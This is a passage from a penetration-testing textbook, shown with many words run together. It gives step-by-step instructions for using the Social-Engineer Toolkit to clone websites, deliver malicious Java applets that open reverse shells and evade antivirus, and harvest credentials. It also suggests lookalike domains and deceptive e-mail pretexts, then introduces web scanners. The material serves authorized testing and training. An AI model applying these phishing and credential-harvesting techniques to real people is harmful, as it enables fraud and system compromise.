against a Fortune 1000 organization. The attack took advantage of expiringmedicalbenefitsunlessanemployeesignedoffonthepolicy.Thisistheperfectattackbecauseitplaysonhumanemotions,howeverstayswithintheconfinesofnormalbehaviorandexpectationsasanemployee.Whentheattackwentout,itwas only sent to four people (in order to not create alarms). The success rateendedupbeing100%.Thisallpurelydependsonhowmucheffortandtimeyouputintomakingyourattackbelievable.Thesocial-engineertoolkit(SET)isatoolthathelpsautomatesomeinsanely

complextechniquesandmakeyourattacksbelievable.Atoolisjustthat,atool.ThinkofSETasasword.Thesword isonlyasgoodas theswordsman’sskilland understanding of how to use the sword.Understanding how to customizeandusetheSETtoitsfullestcapacitywillmakeyoursuccessratiosonsocial-engineeringattacksextremelysuccessful.SowhatisSET?SETisanexploitationframeworkpurelydedicatedtosocial

engineering.Itallowsyoutorapidlycreateanumberofadvancedattackvectorswithouttheneedofasignificantprogrammingbackgroundoryearsofmaturity.SEThasbecomethestandardforpenetrationtesters,andamethodforattackingorganizations and identifying how well they can withstand a targeted attackthroughsocial-engineeringmethods.

TheBasicsofSETIn Kali, as you know, the folder structure places the binaries inusrbin/<insert_toolname_here> and the actual files for the application inusrshare/<insert_toolname_folder_here>.SETisnodifferentinKaliandinstallsin the usrshare/setoolkit directory and can be started anywhere from thecommandlinebyissuingthefollowingcommand:

setoolkit

This will take you to the main SET interface. There are a few optionsavailableasdepictedinFigure5.1.

FIGURE5.1 Themenuswithinthesocial-engineertoolkit(SET).

SETisamenu-drivensystemthatallowsyoutocustomizeyourattacktothetarget you are using. Note that you can also edit the config file underusrshare/setoolkit/config/set_config which will also allow you to expand howSETperformstoyourliking.Onceinsidethemenusystem,youhavetheabilitytoupdateMetasploitorSETwithoption5and6.Option1placesyouintothesocial-engineeringattacks,andoption2placesyouintodirectexploitationtoolsthrough the Fast-Track menu. We will be focusing on option 1, which isprimarilywherethesocial-engineeringattacksarelocated.Ifyouarefollowingalong,hitnumber1 tobringus into thesocial-engineeringattacksasshowninFigure5.2.

FIGURE5.2 Insidethesocialengineeringmenus.

Once inside, the menus give you the available options for the social-engineeringattacks.Letusdoaquickbreakdownoftheattackvectors.Becausewe are covering the basics we will not be diving into each one, but anunderstanding may help you down the road. The spear phishing attacks arespeciallycraftede-mailswithmaliciousattachments.Thismayseemlikewhatyou hear about all the time in the news, but these attack vectors can be verydifficult to pull off. For example, themajority of exploits that comes out forAdobe,Office,andothersareusuallyquicklypatchedandarealmost instantlydetectedbyantiviruswhenfirstreleased.As an attacker, and especially going into an organization as a penetration

tester, you will typically only have one shot to pull off your attack. Exploitsthemselves are extremely specific on versioning. Let us take a look at anexample: In 2013, Scott Bell released a Metasploit module for an InternetExploreruse-after-freevulnerability.Whenusing the InternetExplorerexploit,simply browsing to the malicious website would compromise your computer.Thiswasanamazingexploitandatrulygreatexampleofprecisionandresearch.The only issue with this exploit is it only supported Internet Explorer 8 onWindowsXPSP3asshowninFigure5.3.

FIGURE5.3 TargetforIE8onWindowsXPSP3only.

Onceagain, it is important topointout thatScott’swork isnothingshortofamazing.Donotevertrivializeorunderestimatetheamountofworkandgeniusit takes todiscoverandweaponizeanexploit like this.However,asmentionedearlier,mostexploitsareveryversionspecific.ThemainreasonforthisisduetoadditionalprotectionmechanismsinlaterversionsofInternetExploreraswellashow exploits work by using memory addresses. Each version of InternetExplorer or Windows (even going into service packs) has different memoryaddresses. This means that in order for an exploit to work, it has to bespecifically designed for the operating system, Internet Explorer version, andservicepack.Inordertogettheexploittoworkonmultipleotherplatforms,youwouldneed to spend significant time and research customizing the exploit forother platforms. There are examples of “universal” exploits which takeadvantageof commonor sharedmemory addresses.This allows the exploit toworkonmultipleplatforms.Asanexample,Chris“g11tch”HodgesreleasedaMicrosoft Word zero-day exploit in 2013 (http://www.exploit-db.com/exploits/24526/)thatworkedonmultipleplatforms.Thisexploitmaybeagoodmethodtotargetanorganization;however,ifyouuploadittoVirusTotal,ithasaverylargedetectionratiobyantivirusvendors.Wewouldneedtoheavilyobfuscate our code in order to circumvent basic protections that corporationshave.Sincewehaveallthesehurdleswehavetodealwith,oftentimesinsocialengineering,youneedaroutethatyouknowwillbesuccessful.Targetedspearphishingisgoodaslongasyouknowyourtargetinsideandout.AttachingoutoftheboxPortableDocumentFormatsorWorddocumentsthatcontainexploitsrarelyworks.

WebsiteAttackVectorsOneofSET’s flagshipattackvectors is thewebsiteattackvectors.Theattacksbuilt into this group are highly successful and take advantage of believability(ourfriendinsocialengineering(SE)).WhennavigatingSET,youwillfindthemenu shown in Figure 5.4 if you select option 2 from the social-engineeringattacks.

FIGURE5.4 InsidetheJavaappletattackmethod.

ThetwomainattackswewillbefocusingonaretheJavaappletattackmethodandthecredentialharvester.TheJavaappletattackisanattackthatdoesnottakeadvantage of the latest sexy exploit, but takes advantage of how Java wasdesigned. With Java, there are full-fledged applications called applets. Theseapplets are written in Java and are often used in production applications allaroundtheworld.Forexample,Cisco’sWebExutilizesJavaappletsinordertolaunch online web conferencing. Applets are extremely common in webapplications and something that is highly believable under the right pretext.Selectnumberone,thennumbertwoforthesitecloner.SETwillautomaticallygoouttoawebpage,cloneit,rewriteitwithamaliciousJavaapplet,rewritethewebpagetoinjecttheapplet,setupawebserver,andcreatemultiplepayloadsforyouandallwithinafewminutes.Onceyouselectthe“sitecloner”,select“no”forNetworkAddressTranslation

(NAT)orportforwarding.Thiswouldbeusedonlyifyouwerebehindarouterandhadport forwarding inplaceandneeded to forwardports.Next, enter theInternet protocol (IP) address of your machine (the attacker) as shown inFigure5.5.

FIGURE5.5 EntertheIPaddressofyourattackmachine.

Next, we specify what page we want to clone, we will usehttps://www.trustedsec.com as our target.You should notice that it clones andplacesyouinamenutoselectyourpayloadsasshowninFigure5.6:

FIGURE5.6 PayloadselectionwithinSET.

You can select whatever you are most comfortable with. The SE toolkitinteractive shell is built into the SET and a nice alternative to meterpreteralthough not as feature rich. My personal favorites are the PyInjector andMultiPyInjectorattackvectors.Oftentimes,antivirusflagsonstaticbinariesandmostmeterpreterpayloadsoutoftheboxgetpickedupbyAntiVirus(AV).Inordertogetaroundthis,DaveKennedycreatedPyInjectorandMultiPyInjectorwhichinjectsshellcodestraight intomemorywithout touchingdisk.Thisoftenconfuses or evades antivirus completely and allows you to have ameterpretershell without the worry of being detected. Select number 15, the PyInjectorshellcodeinjection.Specifythedefaultport[443];thisissimplywhatportwillconnectbacktouse(reverse).WediscussedthereverseshellsinChapter4.Next,select1fortheWindowsmeterpreterreverseTCPpayload.Whenyour

screenisloading,itshouldlooksimilartoFigure5.7.

FIGURE5.7 PayloadselectionwithinSET.

SETworksbyhavingmultiplemethodsforattackingthetargetoncetheJavaapplethasbeenaccepted.ThefirstisutilizingaPowershellinjectiontechniquefirst developed by Matthew Graeber (http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html) which allowsyou toutilizePowershell to injectshellcodestraight intomemorywithoutevertouching disk. In addition to this technique, SET also uses a PowershellExecutionRestrictionBypass attack thatwas originally released atDefcon 18(http://www.youtube.com/watch?v=JKlVONfD53w) by David Kennedy

(ReL1K) and Josh Kelley (winfang). These two attacks combined deliver acrippling blow in gaining remote code execution on a system. The secondmethodisthePyInjectorthatyouspecifiedpreviously.Once SET is finished loading, it will launchMetasploit automatically. You

shouldseesomethingsimilartoFigure5.8.

FIGURE5.8 OnceweareinMetasploit.

Next, use theWindows targetmachine and browse to themalicious clonedwebsite(residingonourKalimachine)byenteringtheIPaddressoftheattackermachine into the uniform resource locator (URL) of the target machine’sbrowser.YoushouldseesomethingthatlookssimilartoFigure5.9.

FIGURE5.9 TheJavaappletpopup.

After clicking “I accept”, then “run” you can switch back to your Kalimachine.Atthispoint,youshouldnoticemultiplemeterpretershellsasshownin

Figure5.10.

FIGURE5.10 MultipleshellsoncethevictimacceptstheJavaapplet.

Oncethevictimclicksrun,theyareredirectedbacktotheoriginalwebsiteandneverknewanythinghappened. Inaddition, ifauserdecides tohitcancel, theappletwill reappear and not allow them to close their browser.The onlywayarounditistogototaskmanagerandkillthebrowserorhitrun.Thisattackisextremely effective and circumvents most of the current antivirus products inexistence today. In addition, new obfuscated and encrypted payloads areautomaticallygeneratedanduploadedtoSETevery2h.AlwaysensureyouarerunningthelatestversionofSET.

ALERT!Always, always, always update SET before running it!Dave is abeastwhenitcomestocodingandupdatingSET.Attheveryleast,you will get new encrypted payloads every 2 h. This can beextremelyhandyinbypassingantivirus.

Thisattackvectorworkswell;however,thereareafewthingsthatweneedtotakeintoconsiderationwhenpullingthisoff.First,weneedtocloneorcreateawebsitethatwillbebelievabletothecompanywearetargeting.Inthisexample,ifwewere targetingTrustedSec,wemaywant tocloneanHRportal,extranetwebsite,timesystem,orothersystemsthattheymaybefamiliarwith.Also,one

clear indicator that thiswebsite is a fake is the IP address in theURL bar asshowninFigure5.11.

FIGURE5.11 NoticetheIPaddresswhenusingthewebsite.

In order to make this believable, it is helpful to register a domain name(usually between $5 and 20) that looks similar to the target website(TrustedSec.com). For example, say Iwas cloning awebsite fromTrustedSeccalledwebportal.trustedsec.com.Registeringwebportal-trustedsec.comwouldbea good choice. Would the end-user notice the difference? Probably not. It isimportanttoalwaysrememberthatyourattackvectorneedstobebelievable.Next, you may be wondering, how do we get users to visit the website?

Remember the previous example when we used a benefits scam in order tocreateasenseofurgency?Anyscenarioalongtheselinescanbeagreatstartingpoint. Remember, in order to make this successful, we need to complete thefollowingsteps:Step1:SetupSETandgetitreadytogowithallourconfigurations(makesurethatSEThasaccesstotheInternet).

Step2:Registeradomainnamethatlooksbelievable.Step3:E-mailthecompanywithacrediblepretextthathasalinktoourmaliciousdomainname.

Step4:Getshells.Remember, the more time and effort you spend on reconnaissance and

understanding the company, the more successful the attack will be. One lastthing,sincethisisJava,SETcantargetanyplatformincludingLinux,MacOSX,Windows, andmore!As an added bonus, it does notmatterwhat version,servicepack,orversionofJavaisinstalled.

TheCredentialHarvesterIn the previous section, we went through the Java applet attack. Within the

website attackvectors in the social engineeringattacks, there is another attackcalled the “credential harvester”. Similar to the Java applet, the harvesterwillcloneawebsiteandbasedonyourattack,allowyoutosendane-mailtoavictimand attempt to collect their credentials.This is a very simple, straightforward,and an easy way to get user credentials. When you are using this attack,oftentimes I recommend registering a domain name similar to your targets, aswellasplacingavalidSSLcertificateonthewebsitetomakeit“HTTPS”.Usersare often trained to not trust websites that have HTTP in them and passcredentials.Inthe“websiteattackvectors”,selectoption3“thecredentialharvester”,then

select“sitecloner”, thenenteryour (attackmachine) IPaddressandcloneanywebsiteyouwantforexamplehttps://gmail.com.Oncethewebsiteiscloned,useatargetmachinetonavigatetotheclonedwebsiteandentercredentialsasifyouwereloggingin.Figure5.12showstheclonedwebsite.

FIGURE5.12 EnteringourcredentialsonthefakeGmailwebsite.

Oncetheuserenters theirusernameandpassword, theyareredirectedbackto the legitimateGmailwebsite.Moving back to our attackmachine (runningSET),wenowhave theusernameandpassword thatwasenteredby theuser.Figure5.13showsthecapturedcredentials.

FIGURE5.13 Credentialsharvestedfromthewebsite.

WenowhavetheusernameandpasswordfortheaffectedGmailuser.Justtobe clear, in this example, as penetration testers, we would not really targetGmail;thatwouldnotmakemuchsense.WewouldtargetanExchangeserver,anextranetportal,orsomethingbelievablethatauserwillentertheirusernameandpasswordsothatwecancaptureandusethosecredentialstoaccesssensitiveresourcesof the targetcompany.Oneofmypersonal favoriteswith thisattackvectorisanemployeesatisfactionsurvey.Youstartthee-mailoffbysayingthatinordertomakethecompanyabetterplace,wearetakingasurveyofemployeesatisfactionandhow tomake theplacebetter.The first50employeeswho fillthesurveyoutreceiveafreeAppleiPhoneandwillonlytake1mintocomplete.Everyonewantsa free iPhone,where is the link?Clickclickclick, credentialsentered,boom.WhereismyiPhone?Thisattack isgreat,butwhat ifyoucoulddo theJavaappletattackand the

credentialharvester?Well,SEThasawaytodothattoo!Themultiattackvectorisoption7withinthe“webattackvectors”whichallowsyoutouseasmanywebattackvectorsasyouwant.IfyouwantthevictimtofirstgethitwiththeJavaapplet attack and then enter their credentials, you have the option to havemultipleattacksallwithinonewebsite.Thiscanbeimportantandincreaseyoursuccessratebecauseifoneattackvectorfails,youhavemultipleothermethodsasabackup.Rememberyoumayonlyhaveonechancetodothis;youwanttobepreparedandthinkofeveryscenario.

OtherOptionsWithinSET

Headbackintothemainmenuwithinthesocial-engineeringattacksasshowninFigure5.14.

FIGURE5.14 Insidethesocialengineeringmenus.

There are plenty of other attack vectors within SET, from the social-engineeringattacks;option3allowsyoutogenerateauniversalserialbusthumbdrivewithamaliciouspayload.Whenpluggedin,anautorunscriptwillkickinand execute the payload.A downfall to this attack is the target needs to haveautorun enabled for this to work. Most companies automatically disable thisfeature.Option4allowsyou tocreateapayloadanda listener.ThiswouldbeusefulifyoualreadyhaveaccesstoacomputerandwanttodeployoneofSET’spayloadsthataremoreobfuscatedinordertoevadeAVbetter.Youcansimplycreate the payload, copy the file over, double click or execute it and have itconnectbacktothelistenerautomatically.Option5allowsyoutosendmasse-mails fromane-mail listyoumayhave.This isprettysimplebutsupports theabilitytouseHTMLe-mailsandsendmasse-mailstoacompany.Option6isoneofmypersonalfavorites,theArduinoattackvectors.Arduino

isaCderivativeandallowsyoutoprogrammicrocontrollers.Onedevicecalledthe“teensy”fromprjc.comallowsyoutoprogramadevicetobeanythingyouwant.WithinSET,youhavetheabilitytoprogramthisboardtobeamouseanda keyboard. Once programmed, you can plug it into a computer and it willbypass the autorun functionality because it emulates a keyboard and opens a

backdooronthecomputer.Thisisanincrediblypowerfultechniqueandallowsyoutogaincompletecontrolandusethemachinewithafullmeterpretershell.Therearealsoanumberofotherattacksandpayloadsinsidethisoption.Option7allowsyoutospoofshortmessageservicetextmessagesaslongasyouhaveanaccountwiththeproviders.Option 8 allows you to create your own WiFi access point out of your

computerincludingaDHCPandDNSserver.Whenthevictimattemptstogotoan individualwebsite, theyare redirectedback toyourcomputerwith theSETattacks.YoucouldcreateacaptiveportalthatsaysyouneedtoaccepttheJavaappletbeforeyoucancontinue.This isalwaysagoodoptionwhen targetingacorporationasapenetrationtester.Option9allowsyoutocreateyourownQRCodethatoncescanned,redirect

thescanningmachinetoyourSET(attack)computer.Figure5.15isanexamplethatdirectsthescanner’sbrowsertoTrustedSec.

FIGURE5.15 CreatingaQRCodethroughSET.

The lastmenu,option10 includes thePowershellattackvectors.PowershellwasbrieflymentionedintheJavaappletsectionofthischapterbutPowershellisReallyPowerful!Itisanamazingtoolfromapostexploitationperspectiveandanumber of the leading Powershell folks like Carlos Perez, Matthew Graeber,JoshKelley,andDavidKennedyhavedoneasignificantamountofdevelopmenton this front. A number of these attacks have been included into SET. The

Powershell attacks are a series of code attacks that can be executed once youhavealreadycompromisedasystem.SETwillautomaticallygenerate thecodeforyou,andrewriteittobypassexecutionrestrictionpolicies.

SummarySETisanextremelypowerfultoolaimedattargetingoneoftheweakestareasinanyinformationsecurityprogram:theusers.Itisoftentrivialtocallsomeoneonthephoneandpersuadethemtovisitawebsitewhichinfectstheircomputerandfully compromises the machine. Or as previously mentioned, you could usebelievablee-mailsthatcoaxthemintoclickingalink.Socialengineeringsuccessoftenhingesonplausibilityandcredibility.SETmakes itextremelysimple foryoutobeabletocreateattackseffectively.BesuretoupdateSETonaregularbasisasitisupdatedevery2h.

CHAPTER6

Web-BasedExploitation

InformationinThisChapter:

TheBasicsofWebHackingNikto:InterrogatingWebServersw3af:MorethanJustaPrettyFaceSpidering:CrawlingYourTarget’sWebsiteWebScarab:InterceptingWebRequestsCodeInjectionAttacksCross-SiteScripting:BrowsersthatTrustSitesZAP:PuttingitAllTogetherUnderOneRoof

IntroductionNowthatyouhaveagoodunderstandingofcommonnetwork-basedattacks,itisimportanttotakesometimetodiscussthebasicsofweb-basedexploitation.ThewebiscertainlyoneofthemostcommonattackvectorsavailabletodaybecauseeverythingisconnectedtotheInternet.Nearlyeverycompanytodayhasaweb

presence, and more often than not, that web presence is dynamic and user-driven.Previous-generationwebsiteswere simple staticpagescodedmostly inhypertext markup language (HTML). By contrast, many of today’s websitesincludecomplexcodingwithback-enddatabase-driventransactionsandmultiplelayers of authentication. Home computers, phones, appliances, and of coursesystemsthatbelongtoourtargetsareallconnectedtotheInternet.Asourdependenceandrelianceonthewebcontinuestoexpand,sodoesthe

needtounderstandhowthisattackvectorcanbeexploited.A few years back, people started using words like “Web 2.0” and “cloud-

basedcomputing”todescribeashiftinthewayweinteractwithoursystemsandprograms.Simplyput, thesetermsareachangeinthewaycomputerprogramsare designed, run, accessed, and stored.Regardless ofwhatwords are used todescribeit,thetruthofthematteristhattheInternetisbecomingmoreandmore“executable”. It used to be that programs like Microsoft Office had to beinstalledlocallyonyourphysicalcomputer.Nowthissamefunctionalitycanbeaccessedonline in the formofGoogleDocs andmanyother cloud computingservices. Inmany instances, there is no local installation and your data, yourprograms,andyour informationresideontheserver insomephysicallydistantlocation.As mentioned earlier, companies are also leveraging the power of an

executableweb.Onlinebanking,shopping,andrecordkeepingarenowcommonplace.Everything is interconnected. Inmanyways, theInternet is like thenew“wild west”. Just when it seemed like we were making true progress andfundamental changes to the way we program and architect system software,alongcomestheInternetandgivesusanewwaytorelearnandrepeatmanyofthesecuritylessonsfromthepast.Aspeoplerushtopusheverythingtotheweband systems are mashed up and deployed with worldwide accessibility, newattacksaredevelopedanddistributedatafuriouspace.Itisimportantthateveryaspiringhackerandpenetrationtesterunderstandat

leastthebasicsoftheweb-basedexploitation.

TheBasicsofWebHackingInthepreviouschapter,wediscussedMetasploitasanexploitationframework.Rememberaframeworkprovidesuswithastandardizedandstructuredapproachtoattackingtargets.Therearemanychoiceswhenitcomestowebapplication-hacking frameworks includingWebApplicationAudit andAttack Framework

(w3af), Burp Suite, Open Web Application Security Project’s (OWASP) ZedAttackProxy (ZAP),Websecurify,Paros, andmanymorepopular options.Nomatter the tool you pick, subtle differences aside (at least from “the basics”perspective),theyalloffersimilarfunctionalityandprovideanexcellentvehicletoattacktheweb.Thebasicideaistouseyourbrowserinthesamewaythatyoualways do when visiting a website, but send all traffic through a proxy. Bysendingthetrafficthroughaproxy,youcancollectandanalyzeallyourrequestsaswellastheresponsesfromthewebapplication.Thesetoolkitsprovideavastarrayoffunctionality,butitallboilsdowntoacoupleofmainideasrelatedtowebhacking:

1.Theabilitytointerceptrequestsastheyleaveyourbrowser.Theuseofaninterceptingproxyisakeyasitallowsyoutoeditthevaluesofthevariablesbeforetheyreachthewebapplication.Thisfunctionalityisprovidedbyaninterceptingproxy,whichisaseminaltoolthatmostcommonweb-hackingframeworksprovide.Atthecoreofwebtransactions,theapplication(thatishousedonthewebserver)istheretoacceptrequestsfromyourbrowserandserveuppagesbasedontheseincomingrequests.Abigpartofeachrequestisthevariablesthataccompanytherequest.Thesevariablesdictatewhatpagesarereturnedtotheuser.Forexample,whatisaddedtoashoppingcart,whatbankaccountinformationtoretrieve,whichsportsscorestodisplay,andalmosteveryotherpieceoffunctionalityoftoday’sweb.Itiscriticaltounderstandthat,astheattacker,youareallowedtoadd,edit,ordeleteparametersinyourrequest.Itisalsocriticaltounderstandthatitisuptothewaitingwebapplicationtofigureoutwhattodowithyourmalformedrequest.

2.Theabilitytofindallthewebpages,directories,andotherfilesthatmakeupthewebapplication.Thegoalistoprovideyouwithabetterunderstandingoftheattacksurface.Thisfunctionalityisprovidedbyanautomated“spidering”tool.Theeasiestwaytouncoverallthefilesandpagesonawebsiteistosimplyfeedauniformresourcelocator(URL)intoaspiderandturntheautomatedtoolloose.However,itisimportanttounderstandthatawebspiderwillmakeseveralhundreds,oreventhousands,ofrequeststothetargetwebsite,sothereisnostealthinvolvedinthisactivity.Astheresponsesreturnfromthewebapplication,theHTMLcodeofeachresponseisanalyzedforadditionallinks.Anynewlydiscoveredlinkswillbeaddedtothetargetlist,

spidered,cataloged,andanalyzed.Thespidertoolwillcontinuetofireoffrequestsuntilalltheavailablelinksdiscoveredhavebeenexhausted.Inmostcases,thistypeof“setitandforgetit”spideringwillbeveryeffectiveinfindingthemajorityoftheweb-attacksurfaces.However,itwillalsomakerequestsbasedonANYlinkthatitfinds,sointheeventyouloggedintothewebapppriortospidering,ifthespidertoolfindsalinkto“logout”ofthewebsite,itwilldosowithoutnotificationorwarning.Thiswouldeffectivelypreventyoufromdiscoveringanyadditionalcontentthatisonlyallowedtoauthenticatedusers.Bemindfulofthiswhenspideringsoyouknowwhichareasofthewebsiteyouareactuallydiscoveringcontentfrom.Youcanalsospecifyexactdirectoriesorpathswithinthetargetwebsitetoturnthespideringtoolloose.Thisfeatureprovidesagreatersenseofcontroloveritsfunctionality.

3.Theabilitytoanalyzeresponsesfromthewebapplicationandinspectthemforvulnerabilities.ThisprocessisverysimilartohowNessusscansforvulnerabilitiesinnetworkservices,butnowweareapplyingthesamelineofthinkingtowebapplications.Asyoueditvariablevalueswithaninterceptingproxy,thewebapplicationwillhavetorespondbacktoyouinsomeway.Likewise,whenascanningtoolsendshundredsorthousandsofknown-maliciousrequeststoawebapplication,theapplicationmustrespondinsomeway.Theseresponsesareanalyzedforthetelltalesignsofapplication-levelvulnerabilities.Thereisalargefamilyofwebapplicationvulnerabilitiesthatarepurelysignaturebased,soanautomatedtoolisaperfectmatchforthissituation.Obviously,thereareotherwebapplicationvulnerabilitiesthatcannotbenoticedbyanautomatedscanner,butwearemostinterestedinthe“low-hangingfruit”typeofwebvulnerabilities.Thevulnerabilitiesthatcanbefoundbyusinganautomatedwebscannerarenotirrelevant,butinsteadareactuallysomeofthemostcriticalfamiliesofwebattacksinthewildtoday:structuredquerylanguage(SQL)injection,cross-sitescripting(XSS),andfilepathmanipulationattacks(alsocommonlyknownasdirectorytraversal).

Nikto:InterrogatingWebServersAfter runningaportscananddiscoveringaservicerunningonport80orport443,oneof the first tools that shouldbeused toevaluate the service isNikto.

Niktoisawebservervulnerabilityscanner.ThistoolwaswrittenbyChrisSulloandDavidLodge.Niktoautomatestheprocessofscanningwebserversforout-of-dateandunpatchedsoftwareaswellassearchingfordangerousfilesthatmayresideonwebservers.Nikto iscapableof identifyingawide rangeofspecificissuesandalsocheckstheserverforconfigurationissues.ThecurrentversionofNikto is built intoKali and is available in any directory. If you are not usingKali,oryourattackmachinedoesnothaveacopyofNikto,itcanbeinstalledbydownloadingitfromthehttp://www.cirt.net/Nikto2websiteorrunningthe“apt-get install Nikto” command from a terminal. Please note you will need PerlinstalledtorunNikto.To view the various options available, you can run the following command

fromanycommandlinewithinKali:nikto

Running this command will provide you with a brief description of theswitchesavailabletoyou.Torunabasicvulnerabilityscanagainstatarget,youneedtospecifyahostInternetprotocol(IP)addresswith the“–h”switch.Youshould also specify a port number with the “–p” switch. Nikto is capable ofscanningsingleports,multipleports,orrangeofports.Forexample,toscanforweb servers on all ports between 1 and 1000, youwould issue the followingcommandinaterminalwindow:

nikto-h192.168.18.132–p1-1000

To scan multiple ports, which are not contiguous, separate each port to bescannedwithacommaasshownbelow:

nikto-h192.168.18.132–p80,443

If you fail to specify a port number, Nikto will only scan port 80 on yourtarget. Ifyouwant tosave theNiktooutput for later review,youcandosobyissuingthe“–o”followedbythefilepathandnameofthefileyouwouldliketousetosavetheoutput.Figure6.1includesascreenshotoftheNiktooutputfromourexample.

FIGURE6.1 OutputofNiktowebvulnerabilityscanner.

w3af:MorethanJustaPrettyFaceThew3af isanawesometoolforscanningandexploitingwebresources.w3afprovidesaneasy-to-use interface that allowspenetration testers toquicklyandeasily identify nearly all the top web-based vulnerabilities including SQLinjection,XSS,fileincludes,cross-siterequestforgery,andmanymore.w3af is easy to setup anduse; thismakes it veryhandy forpeoplewhoare

new to web penetration testing. You can access w3af by clicking on theApplications → Kali Linux → Web Applications → w3af as shown inFigure6.2.

FIGURE6.2 Kalimenutoaccessandstartw3afGUI.

w3afcanalsobeaccessedviatheterminalandissuingtheflowingcommand:w3af

When w3af starts, you will be presented with a Graphical User Interface(GUI)similartoFigure6.3.

FIGURE6.3 Settingupascanwithw3af.

Themainw3afwindowallowsyoutosetupandcustomizeyourscan.Ontheleft sideof thescreen,youwill finda“Profiles”window.Selectingoneof thepredefined profiles allows you to quickly run a series of preconfigured scansagainstyour target.Figure6.3 shows theOWASP_TOP10profile selected.Asyoucanseefromtheprofiledescription(presentedintherightpane),selectingtheOWASP_TOP10willcausew3aftoscanyourtargetforeachofthedefinedtop10 securityweb flaws (as identified byOWASP).Clickingon eachof theprofilescausestheactiveplug-inschange.Theplug-insarethespecificteststhatyou want w3af to run against your target. The “empty_profile” is blank andallowsyoutocustomizethescanbychoosingwhichspecificplug-insyouwanttouse.Onceyouhaveselectedyourdesiredprofile,youcanenteran IPaddressor

URL into the “Target” input box. With your scanning profile and targetdesignated, you can click the “Start” button to begin the test. Depending onwhich test you chose and the sizeofyour target, the scanmay take anywherefromafewsecondstoseveralhours.When the scan completes, the “Log”, “Results”, and “Exploit” tabs will

become active and you can review your findings by clicking through each ofthese. Figure 6.4 shows the result of our scan. Notice, the check boxes from“Information”and“Error”havebeen removed.This allowsus to focuson themostseriousissuesfirst.

FIGURE6.4 w3afscanningresults.

Beforemovingonfromw3af,itisimportanttoreviewthe“Exploit”tab.Ifthetool was successful in finding any vulnerabilities during the audit phase, youmaybeabletocompromiseyourtargetfromwithinw3af.Toattemptanexploitwithoneofthediscoveredvulnerabilities,youneedtoclickonthe“Exploit”taband locate theExploits pane.Right clickingon the listed exploitswill presentyouwithamenuandallowyoutochooseto“ExploitALLvulns”or“Exploitalluntil first successful”.Toattempt anexploitonyour target, simplymakeyourselectionandmonitorthe“Shells”pane.Iftheexploitwassuccessfulingainingashellonthetarget,anewentrywillbedisplayedinthe“Shells”pane.Doubleclicking this entry will bring up a “Shell” window and allow you to executecommandonyourtarget.Finally, it is important to understand that you can also run w3af from the

terminal.Asalways,itishighlyrecommendedthatyoutaketimetoexploreandgettoknowthisoptionaswell.

Spidering:CrawlingYourTarget’sWebsiteAnother great tool to use when initially interacting with a web target isWebScarab.WebScarabwaswrittenbyRoganDawesand is available throughtheOWASPwebsite.IfyouarerunningKali,aversionofWebScarabisalreadyinstalled.Thispowerfulframeworkismodularinnatureandallowsyoutoloadnumerous plug-ins to customize it to your needs. Even in its defaultconfiguration,WebScarabprovidesanexcellentresourceforinteractingwithandinterrogatingwebtargets.Afterhavingrunthevulnerabilityscanners,Niktoandw3af,youmaywantto

runaspideringprogramonthetargetwebsite.Itshouldbenotedthatw3afalsoprovides spidering capabilities, but remember, the goal of this chapter isto expose you to several different tools and methodologies. Spiders are

extremely useful in reviewing and reading (or crawling) your target’swebsitelookingforalllinksandassociatedfiles.Eachofthelinks,webpages,andfilesdiscoveredonyourtargetisrecordedandcataloged.Thiscatalogeddatacanbeuseful for accessing restricted pages and locating unintentionally discloseddocuments or information. You can launchWebScarab by opening a terminalandentering

webscarab

YoucanalsoaccessthespiderfunctioninWebScarabbystartingtheprogramthrough main menu system. This can be accomplished by clickingApplications→KaliLinux→WebApplications→WebScarab.ThiswillloadtheWebScarabprogram.Beforeyoubeginspideringyourtarget,youwillwanttoensureyouareinthe“full-featuredinterface”mode.KaliLinuxwilldropyouinto thismodebydefault; however, somepreviousversionswill startwith the“Liteinterface”.Youcanswitchbetweenthetwointerfacemodesbyclickingonthe“Tools”menuandputtingacheckboxinthe“Usefull-featuredinterface”or“UseLiteinterface”checkboxasshowninFigure6.5.

FIGURE6.5 Switchingwebscarabtoruninfull-featuredinterfacemode.

Afterswitchingtothefull-featuredinterface,youwillbepromptedtorestartWebScarab.Onceyourestart thetool,youwillbegivenaccesstoanumberofnewpanelsalongthetopofthewindowincludingthe“Spider”tab.NowthatyouhaveWebScarabloaded,youneedtoconfigureyourbrowserto

useaproxy.SettingupWebScarabasyourproxywillcauseall thewebtrafficgoing into and coming out of your browser to pass through the WebScarabprogram. In this respect, the proxy program acts as amiddleman and has theabilitytoview,stop,andevenmanipulatenetworktraffic.Settingupyourbrowsertouseaproxyisusuallydonethroughthepreferences

or network options. In Iceweasel (default in Kali Linux), you can click on

Edit→ Preferences. In the Preferences window, click the “Advanced” menufollowedbythe“Network”tab.Finally,clickonthe“Settings”buttonasshowninFigure6.6.

FIGURE6.6 Settingupiceweaseltousewebscarabasaproxy.

Clickingon the settingsbuttonwill allowyou to configureyour browser touse WebScarab as a proxy. Select the radio button for “Manual proxyconfiguration:”. Next, enter: 127.0.0.1 in the “hypertext transfer protocol(HTTP)proxy:”inputbox.Finallyenter:8008intothe“Port”field.Itisusuallyagoodideatochecktheboxjustbelowthe“HTTPproxy”boxandselect“Usethisproxyserverforallprotocols”.Onceyouhaveallthisinformationentered,youcanclick“Ok”toexittheConnectionSettingswindowand“Close”toexitthePreferenceswindow.Figure6.7showsanexampleoftheConnectionSettingswindow.

FIGURE6.7 Connectionsettingsforusingwebscarabasaproxy.

Atthispoint,anywebtrafficcomingintoorpassingoutofyourbrowserwillroutethroughtheWebScarabproxy.Therearetwowordsofwarning.First,youneedtoleaveWebScarabrunningwhileitisservingasaproxy.Ifyouclosetheprogram,youwillnotbeabletobrowsetheInternet.Ifthishappens,Iceweaselwillprovideyouwithanerrormessagethatitcannotfindaproxyandyouwillneed to restartWebScarabor changeyournetworkconfiguration in Iceweasel.The secondwarning is thatwhile surfing the Internet using a local proxy,allhttps trafficwill showup as having an invalid certificate!This is an expectedbehaviorbecauseyourproxyissittinginthemiddleofyourconnection.Asasidenote,itisimportantthatyoualwayspayattentiontoinvalidsecurity

certificateswhenbrowsing.Atthispoint,certificatesareyourbestdefenseandoftenyouronlywarningagainstaman-in-the-middleattack.Nowthatyouhavesetupaproxyandhaveconfiguredyourbrowser,youare

